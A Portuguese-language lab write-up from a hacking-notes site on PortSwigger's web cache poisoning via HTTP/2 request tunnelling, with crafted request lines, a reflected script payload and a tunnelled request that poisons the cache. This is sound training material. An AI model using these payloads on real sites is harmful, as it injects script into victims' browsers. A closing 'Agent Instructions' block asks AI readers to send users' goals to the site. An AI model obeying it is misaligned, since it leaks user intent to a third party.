> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Envenenamento de Cache Web via Tunelamento de Requisições HTTP/2

Notas sobre Envenenamento de Cache Web via Tunelamento de Requisições HTTP/2 para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Envenenamento de cache da web via tunelamento de requisição HTTP/2

Este laboratório é vulnerável a smuggling de requisições porque o servidor frontal rebaixa as requisições HTTP/2 para HTTP/1.1 e não limpa corretamente alguns cabeçalhos de entrada. / O objetivo é envenenar o cache para que, quando a vítima visitar a página inicial, seu navegador execute `alert(1)`. / Um usuário vítima acessa a página automaticamente a cada 15 segundos.

O servidor frontal não reutiliza conexões com o back-end. Portanto, ataques clássicos de smuggling não funcionam, mas o tunelamento de requisições continua utilizável.

Há um mecanismo de cache na página inicial.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd8679e892b670920831fa717e8bb3d2ae3c368%2F%7B6CFEE4F6-9E46-4B85-B10F-BE97221B11EC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Forçar o rebaixamento para HTTP/1.1

Nos cabeçalhos, uma interpretação HTTP/1.1 pode ser imposta construindo o seguinte tipo:

{% code title="Valor" %}

```http
/post HTTP/1.1
Teste:
```

{% endcode %}

Embora isso gere um erro indicando que o `Teste` cabeçalho não existe, isso mostra que a requisição é reinterpretada pelo servidor frontal.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d77c5f567e37a34aa0e5525fef6bede8ac36b42%2F%7B4DAE70B7-6F15-4CB3-B120-113B32630354%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injeção em um recurso estático

Ao direcionar o arquivo JavaScript do laboratório, observamos que adicionar um parâmetro semelhante a um script é refletido na resposta

```http
/resources/labheader/js?<script>alert(0)</script>
```

O recurso, portanto, é vulnerável ao envenenamento de cache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4660fd3d710ac870239c82c762aa40fe9f3a14d9%2F%7B42EB247B-CE15-4462-B7C9-7F0DBF7BA44E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construção da requisição tunelada

Em seguida, envie uma requisição adicional encapsulando uma nova consulta HTTP/1.1 no corpo:

```http
/ HTTP/1.1
Teste: teste

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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
```

Esta carga é reinterpretada pelo servidor após o tunelamento. / O conteúdo injetado é reescrito na resposta do recurso JavaScript, permitindo que você envenene o cache.

Quando a vítima revisitar a página inicial, seu navegador carregará esta versão envenenada e executará `alert(1)`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc255d0b6d0aa77fc5fd1840295bf98745da9cc0%2F%7B382B6C2E-E45B-4926-997E-2C0E85ADBAA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
